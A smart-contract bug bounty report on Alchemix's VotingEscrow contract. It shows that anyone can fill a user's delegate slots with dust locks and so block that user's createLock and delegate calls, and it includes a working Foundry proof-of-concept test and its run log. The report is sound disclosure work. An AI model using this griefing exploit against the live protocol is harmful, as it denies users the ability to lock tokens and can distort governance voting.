31298 - [SC - Medium] Anyone can let users delegates reach the upper ...

Submitted on May 16th 2024 at 19:24:04 UTC by @yttriumzz for Boost | Alchemix

Report ID: #31298

Report type: Smart Contract

Report severity: Medium

Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol

Impacts:

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

Each user in the VotingEscrow contract has a maximum number of delegate $veToken. Any user can delegate his $veToken to other users. An attacker can exploit this to let user's delegate to reach the upper limit.

Vulnerability Details

This bug involves createLock operation

///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1040
                require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds");

and delegate operation

///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1110
                require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds");

In other words, an attacker can use this bug to DOS createLock and delegate operations of user.

Suggested fix

It is recommended that user can set the minimum number of individual delegates to prevent dust attacks

Impact Details

An attacker can make the user no longer able to be delegated and mint $veToken. Causes users to be DOSed and may affect governance voting.

References

None

Proof of concept

The PoC patch

diff --git a/src/test/VotingEscrow.t.sol b/src/test/VotingEscrow.t.sol
index 6e828a3..73ca043 100644
--- a/src/test/VotingEscrow.t.sol
+++ b/src/test/VotingEscrow.t.sol
@@ -1015,4 +1015,25 @@ contract VotingEscrowTest is BaseTest {
 
         hevm.stopPrank();
     }
+
+    function testYttriumzzPocTemp() external {
+        address attacker = address(0xa77ac8e3);
+        address user = address(0xacc);
+        deal(bpt, attacker, 1e18);
+        deal(bpt, user, 1e18);
+
+        hevm.startPrank(attacker);
+        IERC20(bpt).approve(address(veALCX), type(uint256).max);
+        for (uint256 i = 0; i < veALCX.MAX_DELEGATES(); i++) {
+            veALCX.createLock(1, 0, true);
+        }
+        veALCX.delegate(user);
+        hevm.stopPrank();
+
+        hevm.startPrank(user);
+        IERC20(bpt).approve(address(veALCX), type(uint256).max);
+        hevm.expectRevert("dst would have too many tokenIds");
+        veALCX.createLock(1, 0, true);
+        hevm.stopPrank();
+    }
 }

Run the PoC

FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp

The log

$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testYttriumzzPocTemp() (gas: 764132469)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.47s (3.45s CPU time)

Ran 1 test suite in 4.46s (3.47s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Last updated